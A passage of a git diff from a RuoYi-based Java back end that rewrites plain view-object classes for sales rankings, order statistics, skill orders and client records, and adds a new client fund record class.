private String deptName; - - /** - * 部门类别编码 - */ - private String deptCategory; - - /** - * 总业绩 - */ - private String totalPerformance; - - /** - * 目标完成比例 - */ - private String targetCompletionRate; - - /** - * 实际已到款金额 - */ - private String completionAmount; - - /** - * 到款率 - */ - private String completionRate; - - /** - * 未到款率 - */ - private String unpaidRate; - - /** - * 订单数 - */ - private String orderCount; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 排行榜列表 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class DeptRankingVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 部门id + */ + private Long deptId; + + /** + * 父部门ID + */ + private Long parentId; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 部门类别编码 + */ + private String deptCategory; + + /** + * 总业绩 + */ + private String totalPerformance; + + /** + * 目标完成比例 + */ + private String targetCompletionRate; + + /** + * 实际已到款金额 + */ + private String completionAmount; + + /** + * 到款率 + */ + private String completionRate; + + /** + * 未到款率 + */ + private String unpaidRate; + + /** + * 订单数 + */ + private String orderCount; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/IndexSumVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/IndexSumVo.java index 25f4188..f714f19 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/IndexSumVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/IndexSumVo.java @@ -1,76 +1,76 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 首页统计管理视图对象 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class IndexSumVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - *个人年目标 - */ - private Long grnTarget; - - /** - * 公司修正年目标 - */ - private Long gsnTarget; - - - /** - *个人月目标 - */ - private Long gryTarget; - - /** - * 公司修正月目标 - */ - private Long gsyTarget; - - - /** - * 年已完成 - */ - private String ywcYSum; - - /** - * 年已到款 - */ - private String ydkYSum; - - - /** - * 月已完成 - */ - private String ywcMSum; - - /** - * 月已到款 - */ - private String ydkMSum; - - /** - * 日已完成 - */ - private String ywcDSum; - - /** - * 日已到款 - */ - private String ydkDSum; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 首页统计管理视图对象 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class IndexSumVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + *个人年目标 + */ + private Long grnTarget; + + /** + * 公司修正年目标 + */ + private Long gsnTarget; + + + /** + *个人月目标 + */ + private Long gryTarget; + + /** + * 公司修正月目标 + */ + private Long gsyTarget; + + + /** + * 年已完成 + */ + private String ywcYSum; + + /** + * 年已到款 + */ + private String ydkYSum; + + + /** + * 月已完成 + */ + private String ywcMSum; + + /** + * 月已到款 + */ + private String ydkMSum; + + /** + * 日已完成 + */ + private String ywcDSum; + + /** + * 日已到款 + */ + private String ydkDSum; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/KfDayListVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/KfDayListVo.java index dae5394..c8a9bec 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/KfDayListVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/KfDayListVo.java @@ -1,39 +1,39 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - - -/** - * 客服订单日数据合集 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class KfDayListVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 客服ID - */ - private Long sid; - - /** - * 客服编号 - */ - private String name; - - /** - * 集合 - */ - private List list; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + + +/** + * 客服订单日数据合集 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class KfDayListVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 客服ID + */ + private Long sid; + + /** + * 客服编号 + */ + private String name; + + /** + * 集合 + */ + private List list; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderDayListVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderDayListVo.java index 596bf3d..6fcef1a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderDayListVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderDayListVo.java @@ -1,49 +1,49 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 订单日数据合集 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class OrderDayListVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 客服ID - */ - private Long sid; - - /** - * 技术ID - */ - private Long bid; - - /** - * 分图ID - */ - private Long fid; - - /** - * 日期 - */ - private String date; - - /** - * 金额 - */ - private String amount; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 订单日数据合集 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class OrderDayListVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 客服ID + */ + private Long sid; + + /** + * 技术ID + */ + private Long bid; + + /** + * 分图ID + */ + private Long fid; + + /** + * 日期 + */ + private String date; + + /** + * 金额 + */ + private String amount; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderRankingSumVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderRankingSumVo.java index c932ed6..81c6a6b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderRankingSumVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderRankingSumVo.java @@ -1,49 +1,49 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; - - -/** - * 排行榜列表 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class OrderRankingSumVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - *总人数 - */ - private Long totalNum; - - /** - * 总订单数 - */ - private Long totalOrderNum; - - /** - * 总业绩 - */ - private BigDecimal totalPerformance; - - /** - * 总已到款金额 - */ - private BigDecimal totalPaidAmount; - - /** - * 总到款率 - */ - private String totalCompletionRate; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; + + +/** + * 排行榜列表 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class OrderRankingSumVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + *总人数 + */ + private Long totalNum; + + /** + * 总订单数 + */ + private Long totalOrderNum; + + /** + * 总业绩 + */ + private BigDecimal totalPerformance; + + /** + * 总已到款金额 + */ + private BigDecimal totalPaidAmount; + + /** + * 总到款率 + */ + private String totalCompletionRate; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderRankingVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderRankingVo.java index a65240a..7d25363 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderRankingVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/OrderRankingVo.java @@ -1,68 +1,68 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 排行榜列表 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class OrderRankingVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - *用户编号 - */ - private String userName; - - /** - * 用户姓名 - */ - private String realName; - - /** - * 部门名称 - */ - private String deptName; - - /** - * 订单数量 - */ - private Long orderNum; - - /** - * 总业绩 - */ - private String totalPerformance; - - /** - * 目标完成率/到款率 - */ - private String targetCompletionRate; - - /** - * 实际已到款金额 - */ - private String completionAmount; - - /** - * 订单未到款金额 - */ - private String unpaidAmount; - - /** - * 死单率 - */ - private String deadOrderRate; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 排行榜列表 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class OrderRankingVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + *用户编号 + */ + private String userName; + + /** + * 用户姓名 + */ + private String realName; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 订单数量 + */ + private Long orderNum; + + /** + * 总业绩 + */ + private String totalPerformance; + + /** + * 目标完成率/到款率 + */ + private String targetCompletionRate; + + /** + * 实际已到款金额 + */ + private String completionAmount; + + /** + * 订单未到款金额 + */ + private String unpaidAmount; + + /** + * 死单率 + */ + private String deadOrderRate; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/PerCountVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/PerCountVo.java index 3f2bf8a..ac86a6c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/PerCountVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/PerCountVo.java @@ -1,36 +1,36 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serializable; -import java.math.BigDecimal; - -/** - * 报表理视图对象 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class PerCountVo implements Serializable { - - private static final long serialVersionUID = 1L; - - /** - * 类型 - */ - private String type; - - /** - * 金额 - */ - private BigDecimal amount; - - - /** - * 数量 - */ - private Long count; -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serializable; +import java.math.BigDecimal; + +/** + * 报表理视图对象 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class PerCountVo implements Serializable { + + private static final long serialVersionUID = 1L; + + /** + * 类型 + */ + private String type; + + /** + * 金额 + */ + private BigDecimal amount; + + + /** + * 数量 + */ + private Long count; +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/PerSumVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/PerSumVo.java index e88e453..5312ec4 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/PerSumVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/PerSumVo.java @@ -1,42 +1,42 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serializable; -import java.math.BigDecimal; - -/** - * 报表理视图对象 - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -public class PerSumVo implements Serializable { - - private static final long serialVersionUID = 1L; - - /** - * 日期 - */ - private String date; - - /** - * 业绩总金额 - */ - private BigDecimal totalAmount; - - - /** - * 业绩已到款金额 - */ - private BigDecimal payAmount; - - - /** - * 客服已付款 - */ - private BigDecimal kfPayAmount; -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serializable; +import java.math.BigDecimal; + +/** + * 报表理视图对象 + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +public class PerSumVo implements Serializable { + + private static final long serialVersionUID = 1L; + + /** + * 日期 + */ + private String date; + + /** + * 业绩总金额 + */ + private BigDecimal totalAmount; + + + /** + * 业绩已到款金额 + */ + private BigDecimal payAmount; + + + /** + * 客服已付款 + */ + private BigDecimal kfPayAmount; +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/SkillOrderVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/SkillOrderVo.java index 8776b6b..2c1d62b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/SkillOrderVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/SkillOrderVo.java @@ -1,238 +1,238 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpOrder; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - -/** - * 技术订单管理视图对象 tp_order - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrder.class) -public class SkillOrderVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "id") - private Long id; - - /** - * 订单编号 - */ - @ExcelProperty(value = "订单编号") - private String orderId; - - /** - * 订单客户 - */ - @ExcelProperty(value = "订单客户") - private Long kid; - - /** - * 订单风格 - */ - @ExcelProperty(value = "订单风格") - private Long style; - - /** - * 订单空间 - */ - @ExcelProperty(value = "订单空间") - private String space; - - /** - * 订单品质 - */ - @ExcelProperty(value = "订单品质") - private Long quality; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 订单类型 - */ - @ExcelProperty(value = "订单类型") - private Long type; - - /** - * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) - */ - @ExcelProperty(value = "状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价)") - private Long state; - - /** - * 图纸数量 - */ - @ExcelProperty(value = "图纸数量") - private Long num; - - /** - * 接待客服 - */ - @ExcelProperty(value = "接待客服") - private Long sid; - - - /** - * 接待客服名称 - */ - @ExcelProperty(value = "接待客服名称") - private String sname; - - /** - * 分图员名称 - */ - @ExcelProperty(value = "分图员名称") - private String fname; - - /** - * 表现师名称 - */ - @ExcelProperty(value = "表现师名称") - private String bname; - - /** - * 客户名称 - */ - @ExcelProperty(value = "客户名称") - private String cname; - - /** - * 分图人员 - */ - @ExcelProperty(value = "分图人员") - private Long fid; - - /** - * 表现师编号 - */ - @ExcelProperty(value = "表现师编号") - private String bid; - - - /** - * 技术备注 - */ - @ExcelProperty(value = "技术备注") - private String jsRemark; - - /** - * 支付状态(1=待支付,2=尾款待支付,3=已支付) - */ - @ExcelProperty(value = "支付状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==待支付,2=尾款待支付,3=已支付") - private Long payState; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==未删除,2=已删除") - private Long isDel; - - /** - * 下单时间 - */ - @ExcelProperty(value = "下单时间") - private Date addTime; - - /** - * 对图时间 - */ - @ExcelProperty(value = "对图时间") - private Date dtTime; - - /** - * 定金支付时间 - */ - @ExcelProperty(value = "定金支付时间") - private Date djpTime; - - /** - * 尾款支付时间 - */ - @ExcelProperty(value = "尾款支付时间") - private Date endpTime; - - /** - * 完成时间 - */ - @ExcelProperty(value = "完成时间") - private Date finishTime; - - /** - * 技术订单价格 - */ - @ExcelProperty(value = "技术订单价格") - private BigDecimal jsPrice; - - /** - * 技术已付款 - */ - @ExcelProperty(value = "技术已付款") - private BigDecimal jsPayPrice; - - /** - * 备用字段1 - */ - private String byOne; - - /** - * 备用字段2 - */ - private String byTwo; - - /** - * 备用字段3 - */ - private String byThree; - - /** - * 备用字段4 - */ - private Integer byFour; - - /** - * 满意度时间 - */ - private Date satisfiedTime; - - /** - * 抵扣金 - */ - private BigDecimal coupon; - - /** - * 集材社订单ID - */ - private Long jcsOrderId; - - /** - * 违约金 - */ - @ExcelProperty(value = "违约金") - private BigDecimal breach; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpOrder; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + +/** + * 技术订单管理视图对象 tp_order + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrder.class) +public class SkillOrderVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "id") + private Long id; + + /** + * 订单编号 + */ + @ExcelProperty(value = "订单编号") + private String orderId; + + /** + * 订单客户 + */ + @ExcelProperty(value = "订单客户") + private Long kid; + + /** + * 订单风格 + */ + @ExcelProperty(value = "订单风格") + private Long style; + + /** + * 订单空间 + */ + @ExcelProperty(value = "订单空间") + private String space; + + /** + * 订单品质 + */ + @ExcelProperty(value = "订单品质") + private Long quality; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 订单类型 + */ + @ExcelProperty(value = "订单类型") + private Long type; + + /** + * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) + */ + @ExcelProperty(value = "状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价)") + private Long state; + + /** + * 图纸数量 + */ + @ExcelProperty(value = "图纸数量") + private Long num; + + /** + * 接待客服 + */ + @ExcelProperty(value = "接待客服") + private Long sid; + + + /** + * 接待客服名称 + */ + @ExcelProperty(value = "接待客服名称") + private String sname; + + /** + * 分图员名称 + */ + @ExcelProperty(value = "分图员名称") + private String fname; + + /** + * 表现师名称 + */ + @ExcelProperty(value = "表现师名称") + private String bname; + + /** + * 客户名称 + */ + @ExcelProperty(value = "客户名称") + private String cname; + + /** + * 分图人员 + */ + @ExcelProperty(value = "分图人员") + private Long fid; + + /** + * 表现师编号 + */ + @ExcelProperty(value = "表现师编号") + private String bid; + + + /** + * 技术备注 + */ + @ExcelProperty(value = "技术备注") + private String jsRemark; + + /** + * 支付状态(1=待支付,2=尾款待支付,3=已支付) + */ + @ExcelProperty(value = "支付状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==待支付,2=尾款待支付,3=已支付") + private Long payState; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==未删除,2=已删除") + private Long isDel; + + /** + * 下单时间 + */ + @ExcelProperty(value = "下单时间") + private Date addTime; + + /** + * 对图时间 + */ + @ExcelProperty(value = "对图时间") + private Date dtTime; + + /** + * 定金支付时间 + */ + @ExcelProperty(value = "定金支付时间") + private Date djpTime; + + /** + * 尾款支付时间 + */ + @ExcelProperty(value = "尾款支付时间") + private Date endpTime; + + /** + * 完成时间 + */ + @ExcelProperty(value = "完成时间") + private Date finishTime; + + /** + * 技术订单价格 + */ + @ExcelProperty(value = "技术订单价格") + private BigDecimal jsPrice; + + /** + * 技术已付款 + */ + @ExcelProperty(value = "技术已付款") + private BigDecimal jsPayPrice; + + /** + * 备用字段1 + */ + private String byOne; + + /** + * 备用字段2 + */ + private String byTwo; + + /** + * 备用字段3 + */ + private String byThree; + + /** + * 备用字段4 + */ + private Integer byFour; + + /** + * 满意度时间 + */ + private Date satisfiedTime; + + /** + * 抵扣金 + */ + private BigDecimal coupon; + + /** + * 集材社订单ID + */ + private Long jcsOrderId; + + /** + * 违约金 + */ + @ExcelProperty(value = "违约金") + private BigDecimal breach; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpChangePriceVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpChangePriceVo.java index ba9f947..835c23b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpChangePriceVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpChangePriceVo.java @@ -1,62 +1,62 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpChangePrice; - -import java.io.Serial; -import java.io.Serializable; - - - -/** - * 改价配置视图对象 tp_change_price - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpChangePrice.class) -public class TpChangePriceVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 包含人员 - */ - @ExcelProperty(value = "包含人员") - private String sid; - - /** - * 改价金额 - */ - @ExcelProperty(value = "改价金额") - private Long price; - - /** - * 状态(1=开启,2=关闭) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==开启,2=关闭") - private Long state; - - /** - * 最后一次修改时间 - */ - @ExcelProperty(value = "最后一次修改时间") - private Long addTime; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpChangePrice; + +import java.io.Serial; +import java.io.Serializable; + + + +/** + * 改价配置视图对象 tp_change_price + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpChangePrice.class) +public class TpChangePriceVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 包含人员 + */ + @ExcelProperty(value = "包含人员") + private String sid; + + /** + * 改价金额 + */ + @ExcelProperty(value = "改价金额") + private Long price; + + /** + * 状态(1=开启,2=关闭) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==开启,2=关闭") + private Long state; + + /** + * 最后一次修改时间 + */ + @ExcelProperty(value = "最后一次修改时间") + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientFundVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientFundVo.java new file mode 100644 index 0000000..bd27644 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientFundVo.java @@ -0,0 +1,117 @@ +package org.dromara.work.domain.vo; + +import java.math.BigDecimal; +import org.dromara.work.domain.TpClientFund; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 客户资金记录视图对象 tp_client_fund + * + * @author Maosw + * @date 2026-01-16 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpClientFund.class) +public class TpClientFundVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @ExcelProperty(value = "主键") + private Long id; + + /** + * 客户ID + */ + @ExcelProperty(value = "客户ID") + private Long kId; + + /** + * 客服客户ID + */ + @ExcelProperty(value = "客服客户ID") + private Long skId; + + /** + * 业务类型:1领款入账 2订单消费 3订单回退 4领款退回 + */ + @ExcelProperty(value = "业务类型:1领款入账 2订单消费 3订单回退 4领款退回") + private Integer bizType; + + /** + * 变动金额,正负数 + */ + @ExcelProperty(value = "变动金额,正负数") + private BigDecimal changeAmount; + + /** + * 变动前余额 + */ + @ExcelProperty(value = "变动前余额") + private BigDecimal balanceBefore; + + /** + * 变动后余额 + */ + @ExcelProperty(value = "变动后余额") + private BigDecimal balanceAfter; + + /** + * 领款ID + */ + @ExcelProperty(value = "领款ID") + private Long receiptId; + + /** + * 订单ID + */ + @ExcelProperty(value = "订单ID") + private Long orderId; + + /** + * 订单编号 + */ + @ExcelProperty(value = "订单编号") + private String orderNo; + + /** + * 创建人 + */ + @ExcelProperty(value = "创建人") + private Long createBy; + + /** + * 创建人姓名 + */ + @ExcelProperty(value = "创建人姓名") + private String createByName; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientStaffVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientStaffVo.java index 82fd3b5..c6905a3 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientStaffVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientStaffVo.java @@ -1,91 +1,91 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpClientStaff; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - - -/** - * 客户+客服视图对象 tp_client_staff - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpClientStaff.class) -public class TpClientStaffVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - *ID - */ - @ExcelProperty(value = "ID") - private Long id; - - /** - * 所属客服 - */ - @ExcelProperty(value = "所属客服") - private Long sid; - - /** - * 客服编号 - */ - @ExcelProperty(value = "客服编号") - private String sname; - - /** - * 所属客户 - */ - @ExcelProperty(value = "所属客户") - private Long kid; - - /** - * 客户姓名 - */ - @ExcelProperty(value = "客户姓名") - private String name; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 余额 - */ - @ExcelProperty(value = "余额") - private BigDecimal yue; - - /** - * 录入时间 - */ - @ExcelProperty(value = "录入时间") - private Date addTime; - - /** - * 手机号码 - */ - @ExcelProperty(value = "手机号码") - private String phone; - - /** - * 客户编号 - */ - @ExcelProperty(value = "客户编号") - private String code; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpClientStaff; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + + +/** + * 客户+客服视图对象 tp_client_staff + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpClientStaff.class) +public class TpClientStaffVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + *ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 所属客服 + */ + @ExcelProperty(value = "所属客服") + private Long sid; + + /** + * 客服编号 + */ + @ExcelProperty(value = "客服编号") + private String sname; + + /** + * 所属客户 + */ + @ExcelProperty(value = "所属客户") + private Long kid; + + /** + * 客户姓名 + */ + @ExcelProperty(value = "客户姓名") + private String name; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 余额 + */ + @ExcelProperty(value = "余额") + private BigDecimal yue; + + /** + * 录入时间 + */ + @ExcelProperty(value = "录入时间") + private Date addTime; + + /** + * 手机号码 + */ + @ExcelProperty(value = "手机号码") + private String phone; + + /** + * 客户编号 + */ + @ExcelProperty(value = "客户编号") + private String code; 